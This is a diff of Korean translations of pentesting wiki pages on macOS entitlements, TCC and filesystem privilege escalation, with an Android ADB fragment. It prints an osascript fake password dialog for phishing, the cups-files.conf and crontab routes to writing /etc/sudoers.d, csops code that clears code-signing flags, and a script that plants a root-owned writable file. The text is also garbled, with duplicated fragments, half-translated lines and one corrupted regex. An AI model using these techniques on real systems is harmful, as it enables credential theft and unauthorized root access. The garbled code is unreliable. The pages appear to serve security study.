이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속됩니다**.
이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그 권한을 가진 프로세스의 자식이 되는 것**입니다. 이 권한은 일반적으로 **상속됩니다**.
양한 방법으로 [**TCC에서 권한을 상승시키는 방법**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC를 우회하는 방법**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 찾으려면 이 링크를 따르세요.
음 링크를 따라 [**TCC에서 권한 상승하는 다양한 방법**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC 우회하기**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 확인하세요.
## macOS 전통적인 권한 상승

View File

@ -1,44 +1,44 @@
# macOS 위험한 권한 및 TCC 권한
# macOS Dangerous Entitlements & TCC perms
{{#include ../../../banners/hacktricks-training.md}}
> [!WARNING]
> **`com.apple`**로 시작하는 권한은 제3자에게 제공되지 않으며, 오직 Apple만 부여할 수 있습니다.
## 높음
## High
### `com.apple.rootless.install.heritable`
권한 **`com.apple.rootless.install.heritable`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 내용은 여기](macos-sip.md#com.apple.rootless.install.heritable)를 확인하세요.
권한 **`com.apple.rootless.install.heritable`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install.heritable)를 확인하세요.
### **`com.apple.rootless.install`**
권한 **`com.apple.rootless.install`**은 **SIP를 우회**할 수 있게 해줍니다. [자세한 내용은 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요.
권한 **`com.apple.rootless.install`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요.
### **`com.apple.system-task-ports` (이전 이름: `task_for_pid-allow`)**
이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 가져올 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요.
이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 가져올 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요.
### `com.apple.security.get-task-allow`
이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 가져오고 **코드를 주입**할 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요.
이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 가져오고 **코드를 주입**할 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요.
### `com.apple.security.cs.debugger`
디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 가져올 수 있습니다. 그러나 디버깅 도구 권한이 있더라도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **가져올 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요.
디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있어도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **가져올 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요.
### `com.apple.security.cs.disable-library-validation`
이 권한은 **Apple에 의해 서명되지 않거나** 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 **로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요.
이 권한은 **Apple에 의해 서명되지 않거나 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요.
### `com.apple.private.security.clear-library-validation`
이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 비활성화**할 수 있게 해줍니다.\
[**자세한 내용은 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요.
이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 통해 이를 비활성화**할 수 있게 해줍니다.\
[**자세한 정보는 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요.
### `com.apple.security.cs.allow-dyld-environment-variables`
이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요.
이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요.
### `com.apple.private.tcc.manager` 또는 `com.apple.rootless.storage`.`TCC`
@ -46,7 +46,7 @@
### **`system.install.apple-software`** 및 **`system.install.apple-software.standar-user`**
이 권한은 사용자에게 **권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다.
이 권한은 **사용자에게 권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다.
### `com.apple.private.security.kext-management`
@ -54,11 +54,11 @@
### **`com.apple.private.icloud-account-access`**
권한 **`com.apple.private.icloud-account-access`****`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있게 해주며, 이는 **iCloud 토큰**을 **제공**합니다.
권한 **`com.apple.private.icloud-account-access`**를 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있으며, 이는 **iCloud 토큰**을 **제공**합니다.
**iMovie**와 **Garageband**는 이 권한을 가지고 있었습니다.
이 권한에서 **iCloud 토큰을 얻는** 취약점에 대한 더 많은 **정보**는 다음 강연을 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
이 권한으로부터 **iCloud 토큰을 얻는** exploit에 대한 더 많은 **정보**는 다음 강연을 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -91,13 +91,13 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
### **`kTCCServiceAppleEvents`**
앱이 **작업 자동화**에 일반적으로 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 허용합니다. 다른 앱을 제어함으로써, 이러한 다른 앱에 부여된 권한을 악용할 수 있습니다.
앱이 일반적으로 **작업 자동화**에 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 허용합니다. 다른 앱을 제어함으로써, 이러한 다른 앱에 부여된 권한을 악용할 수 있습니다.
예를 들어, 사용자에게 비밀번호를 요청하도록 만들 수 있습니다:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
또한 **임의의 작업**을 수행할 수 있습니다.
Or making them perform **임의의 작업**.
### **`kTCCServiceEndpointSecurityClient`**
@ -105,11 +105,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicySysAdminFiles`**
사용자의 홈 폴더 경로를 변경하는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있으며, 따라서 TCC를 **우회**할 수 있습니다.
사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 홈 폴더 경로를 변경하고 따라서 TCC를 **우회**할 수 있게 합니다.
### **`kTCCServiceSystemPolicyAppBundles`**
앱 번들(앱.app 내부) 내의 파일을 수정할 수 있으며, 이는 기본적으로 **허용되지 않습니다**.
앱 번들 내의 파일을 수정할 수 있게 하며(앱.app 내부), 이는 **기본적으로 금지되어** 있습니다.
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
@ -123,21 +123,21 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.security.cs.allow-jit`
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리**를 **생성**할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)를 확인하세요.
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리**를 **생성**할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)를 확인하세요.
### `com.apple.security.cs.allow-unsigned-executable-memory`
이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래 전에 사용 중단된 **`NSCreateObjectFileImageFromMemory`**(근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)를 확인하세요.
이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래된 **`NSCreateObjectFileImageFromMemory`** (근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)를 확인하세요.
> [!CAUTION]
> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 앱이 노출됩니다. 앱이 이 예외가 필요한지 신중하게 고려하세요.
> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 노출됩니다. 귀하의 앱이 이 예외가 필요한지 신중하게 고려하세요.
### `com.apple.security.cs.disable-executable-page-protection`
이 권한은 **디스크의 실행 파일 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)를 확인하세요.
이 권한은 **디스크에 있는 자신의 실행 파일 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)를 확인하세요.
> [!CAUTION]
> Disable Executable Memory Protection Entitlement는 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 탐지 없이 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하세요.
> Disable Executable Memory Protection Entitlement는 귀하의 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 귀하의 앱의 실행 코드를 탐지 없이 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하세요.
### `com.apple.security.cs.allow-relative-library-loads`
@ -156,8 +156,10 @@ TODO
[Array]
[String] kTCCServiceAll
```
프로세스가 **모든 TCC 권한을 요청하도록 허용합니다**.
프로세스가 **모든 TCC 권한을 요청하도록 허용**합니다.
### **`kTCCServicePostEvent`**
{{#include ../../../banners/hacktricks-training.md}}
</details>

View File

@ -14,31 +14,31 @@
### 위험한 조합
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 하지만:
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나:
- 경로의 부모 **디렉토리 소유자**가 사용자입니다.
- 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다.
- 경로의 부모 **디렉토리 소유자**가 사용자입니다.
- 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다.
- 사용자 **그룹**이 **파일**에 **쓰기** 권한을 가지고 있습니다.
이전 조합 중 하나로 공격자는 **특권 임의 쓰기**를 얻기 위해 예상 경로에 **심볼릭/하드 링크**를 **주입**할 수 있습니다.
### 폴더 루트 R+X 특별 사례
**루트만 R+X 접근 권한**을 가진 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다.
**루트만 R+X 접근 권한**이 있는 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다.
예시: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## 심볼릭 링크 / 하드 링크
### 관대한 파일/폴더
### 허용된 파일/폴더
특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다.
특권 프로세스가 **하위 권한 사용자**가 **제어할 수 있는** **파일**에 데이터를 쓰고 있거나, 하위 권한 사용자가 **이전에 생성한** 파일에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓸 것입니다.
공격자가 **임의 쓰기를 악용하여 권한을 상승**시킬 수 있는 다른 섹션을 확인하십시오.
### Open `O_NOFOLLOW`
`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 방지하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다.
`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다.
## .fileloc
@ -60,7 +60,7 @@
### FD 누수 (no `O_CLOEXEC`)
`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권한이 있는 프로세스가 권한이 있는 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **한이 있는 파일에 대한 FD를 상속받게 됩니다**.
`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권 프로세스가 권 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **권 파일에 대한 FD를 상속받게 됩니다**.
**높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`의 파일을 열 수 있습니다. 그러면 `exploit.py``/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다.
@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable 플래그
파일/폴더에 이 불변 속성이 있으면 xattr를 설정할 수 없습니다.
파일/폴더에 이 불변 속성이 설정되어 있으면 xattr를 추가할 수 없습니다.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -86,7 +86,7 @@ ls -lO /tmp/asd
```
### defvfs mount
**devfs** 마운트는 **xattr**를 지원하지 않습니다. 자세한 내용은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)를 참조하세요.
A **devfs** mount **는 xattr를 지원하지 않습니다**, 자세한 내용은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)에서 확인하세요.
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
@ -122,7 +122,7 @@ ls -le /tmp/test
**AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 zip 파일로 애플리케이션을 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다:
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식의 zip 파일로 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요.
@ -144,9 +144,9 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip .
ls -le test
```
(작동하더라도 샌드박스는 먼저 격리 xattr를 작성합니다)
(Note that even if this works the sandbox write the quarantine xattr before)
정확히 필요하지는 않지만 혹시 모르니 남겨둡니다:
Not really needed but I leave it there just in case:
{{#ref}}
macos-xattr-acls-extra-stuff.md
@ -156,11 +156,11 @@ macos-xattr-acls-extra-stuff.md
### 플랫폼 바이너리 검사 우회
일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 노출된 것처럼, 플랫폼 바이너리(예: /bin/ls)를 가져와 dyld를 통해 환경 변수 `DYLD_INSERT_LIBRARIES`를 사용하여 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다.
일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 허용합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 노출된 바와 같이, /bin/ls와 같은 플랫폼 바이너리를 가져와서 `DYLD_INSERT_LIBRARIES` 환경 변수를 사용하여 dyld를 통해 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다.
### 플래그 `CS_REQUIRE_LV``CS_FORCED_LV` 우회
실행 중인 바이너리가 자신의 플래그를 수정하여 다음과 같은 코드로 검사를 우회할 수 있습니다:
실행 중인 바이너리가 자신의 플래그를 수정하여 코드를 사용하여 검사를 우회할 수 있습니다:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
@ -173,11 +173,11 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## 코드 서명 우회
## Bypass Code Signatures
번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시는 **실행 파일**에도 **내장**되어 있으므로, 그것을 건드릴 수 없습니다.
Bundles contains the file **`_CodeSignature/CodeResources`** which contains the **hash** of every single **file** in the **bundle**. Note that the hash of CodeResources is also **embedded in the executable**, so we can't mess with that, either.
그러나 서명이 확인되지 않는 일부 파일이 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다.
그러나 서명이 확인되지 않는 파일이 몇 개 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다. 예를 들어:
```xml
<dict>
...
@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
@ -221,13 +221,13 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
...
</dict>
```
CLI에서 리소스의 서명을 계산하는 것은 다음과 같이 가능합니다:
리소스의 서명을 CLI에서 계산하는 것은 다음과 같이 가능합니다:
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
## Mount dmgs
사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠 사용자 정의 dmg 패키지를 생성할 수 있습니다:
사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠가 포함된 사용자 정의 dmg 패키지를 생성할 수 있습니다:
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -257,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
스크립트가 **셸 스크립트**로 해석될 수 있다면, 매일 트리거되는 **`/etc/periodic/daily/999.local`** 셸 스크립트를 덮어쓸 수 있습니다.
다음과 같이 이 스크립트의 실행을 **가짜로** 만들 수 있습니다: **`sudo periodic daily`**
이 스크립트의 실행을 **가짜로** 만들 수 있습니다: **`sudo periodic daily`**
### 데몬
@ -278,23 +278,23 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict>
</plist>
```
`/Applications/Scripts/privesc.sh` 파일을 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요.
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
### Sudoers 파일
### Sudoers File
**임의 쓰기** 권한이 있다면, **`/etc/sudoers.d/`** 폴더 안에 파일을 생성하여 **sudo** 권한을 부여할 수 있습니다.
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
### PATH 파일
### PATH files
**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**의 스크립트가 **전체 경로 없이** 어떤 **명령어**를 실행하고 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다.
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
또한 **`/etc/paths.d`**에 파일을 작성하여 `PATH` env 변수에 새로운 폴더를 추가할 수 있습니다.
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
### cups-files.conf
이 기술은 [이 글](https://www.kandji.io/blog/macos-audit-story-part1)에서 사용되었습니다.
다음 내용을 포함하여 `/etc/cups/cups-files.conf` 파일을 생성하세요:
Create the file `/etc/cups/cups-files.conf` with the following content:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
@ -308,11 +308,11 @@ LogFilePerm 777
### 샌드박스 탈출
FS 임의 쓰기를 통해 macOS 샌드박스를 탈출할 수 있습니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다.
FS 임의 쓰기를 통해 macOS 샌드박스를 탈출하는 것이 가능합니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 하지만 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다.
## 다른 사용자로서 쓰기 가능한 파일 생성
이것은 내가 쓸 수 있는 루트 소의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다:
이것은 내가 쓸 수 있는 루트 소의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -326,7 +326,7 @@ echo $FILENAME
```
## POSIX 공유 메모리
**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()``close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()``close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
<details>
@ -420,7 +420,7 @@ return 0;
```
</details>
## macOS 보호된 설명자
## macOS Guarded Descriptors
**macOS 보호된 설명자**는 사용자 애플리케이션에서 **파일 설명자 작업**의 안전성과 신뢰성을 향상시키기 위해 macOS에 도입된 보안 기능입니다. 이러한 보호된 설명자는 파일 설명자와 특정 제한 또는 "가드"를 연결하는 방법을 제공하며, 이는 커널에 의해 시행됩니다.

View File

@ -15,12 +15,12 @@ android-applications-basics.md
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다.
다음 [**ADB Commands**](adb-commands.md) 목록을 확인하여 adb 사용 방법을 배우세요.
다음 목록의 [**ADB Commands**](adb-commands.md) 확인하여 adb 사용 방법을 배우세요.
## Smali
